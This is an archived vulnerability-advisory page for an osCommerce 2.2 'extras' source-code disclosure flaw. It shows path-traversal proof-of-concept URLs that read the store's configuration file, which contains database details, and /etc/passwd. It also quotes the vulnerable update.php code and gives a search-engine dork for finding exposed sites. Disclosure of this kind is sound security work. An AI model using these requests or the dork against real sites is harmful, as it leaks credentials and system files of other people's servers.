Lucene search
K

osCommerce <= 2.2 (extras) Source Code Disclosure Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 13 Views

osCommerce <= 2.2 "extras" Source Code Disclosur

Code

                                                ---- osCommerce &#60;= 2.2 &#34;extras/&#34; information/source code disclosure ------------

software site: http://www.oscommerce.com/


if extras/ folder is placed inside the www path, you can see all files on target
system, including php source code with database details, poc:

http://[target]/[path]/extras/update.php?read_me=0&readme_file=../catalog/includes/configure.php
http://[target]/[path]/extras/update.php?read_me=0&readme_file=/etc/passwd

this is the vulnerable code in update.php:

...
	include &#39;../mysql.php&#39;;
	// if a readme.txt file exists, display it to the user
	if(!$read_me) {
		if(file_exists(&#39;readme.txt&#39;)) {
			$readme_file = &#39;readme.txt&#39;;
		}
		elseif(file_exists(&#39;README&#39;)) {
			$readme_file = &#39;README&#39;;
		}
		elseif(file_exists(&#39;readme&#39;)) {
			$readme_file = &#39;readme&#39;;
		}
		if($readme_file) {
			$readme = file($readme_file);
			print &#34;&#60;CENTER&#62;&#60;TABLE BORDER=\&#34;1\&#34; WIDTH=\&#34;75%\&#34; CELLPADDING=\&#34;2\&#34; CELLSPACING=\&#34;0\&#34;&#62;&#60;TR BGCOLOR=\&#34;#e7e7cc\&#34;&#62;&#60;TD&#62;\n&#34;;
			print nl2br(htmlentities(implode($readme, &#39; &#39;)));
			print &#34;&#60;HR NOSHADE SIZE=\&#34;1\&#34;&#62;&#60;CENTER&#62;&#60;A HREF=\&#34;update.php?read_me=1\&#34;&#62;&#60;B&#62;Continue&#60;/B&#62;&#60;/A&#62;&#60;/CENTER&#62;\n&#34;;
			print &#34;&#60;/TD&#62;&#60;/TR&#62;&#60;/TABLE&#62;\n&#34;;
			exit;
		}
	}
...

google search:

inurl:&#34;extras/update.php&#34; intext:mysql.php -display

--------------------------------------------------------------------------------
rgod

site: http://retrogod.altervista.org
mail: rgod at autistici.org
original advisory: http://retrogod.altervista.org/oscommerce_22_adv.html
--------------------------------------------------------------------------------

# milw0rm.com [2006-04-14]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation